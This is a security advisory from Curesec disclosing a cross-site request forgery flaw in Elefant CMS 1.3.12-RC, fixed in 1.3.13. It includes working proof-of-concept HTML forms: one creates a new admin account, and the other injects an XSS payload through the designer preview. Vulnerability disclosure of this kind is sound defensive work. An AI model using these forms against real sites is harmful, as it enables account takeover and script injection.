Elefant CMS 1.3.12-RC: CSRF

Elefant CMS 1.3.12-RC: CSRF

Date: 2017-02-02 13:40:53
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: Elefant CMS 1.3.12-RC
Fixed in: 1.3.13
Fixed Version Link: https://github.com/jbroadway/elefant/releases/tag/elefant_1_3_13_rc
Vendor Website: https://www.elefantcms.com/
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to public: 02/02/2017
Release mode: Coordinated Release
CVE: n/a (not requested)
Credits Tim Coen of Curesec GmbH

2. Overview

Elefant is a content managment system written in PHP. In version 1.3.12-RC, it is vulnerable to cross site request forgery. If a victim visits a website that contains specifically crafted code while logged into Elefant, an attacker can for example create a new admin account without the victims knowledge.

3. Details

CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P

There is no CSRF protection for various components, allowing among other the creation of new admin accounts or XSS attacks.

Proof of Concept:

Create New Admin: <html> <body> <form action="http://localhost/user/add" method="POST"> <input type="hidden" name="name" value="admin3" /> <input type="hidden" name="email" value="admin3@example.com" /> <input type="hidden" name="password" value="admin3" /> <input type="hidden" name="verify_pass" value="admin3" /> <input type="hidden" name="type" value="admin" /> <input type="hidden" name="company" value="" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="website" value="" /> <input type="hidden" name="photo" value="" /> <input type="hidden" name="about" value="" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" /> <input type="hidden" name="address" value="" /> <input type="hidden" name="address2" value="" /> <input type="hidden" name="city" value="" /> <input type="hidden" name="state" value="" /> <input type="hidden" name="country" value="" /> <input type="hidden" name="zip" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> XSS: <html> <body> <form action="http://localhost/designer/preview" method="POST"> <input type="hidden" name="layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value="Submit request" /> </form> </body> </html>

4. Solution

To mitigate this issue please upgrade at least to version 1.3.13.

Please note that a newer version might already be available.

5. Report Timeline

09/05/2016 Informed Vendor about Issue, Vendor announces fix
11/07/2016 Asked Vendor if recent releases fixes issues, Vendor confirmed
02/02/2017 Disclosed to public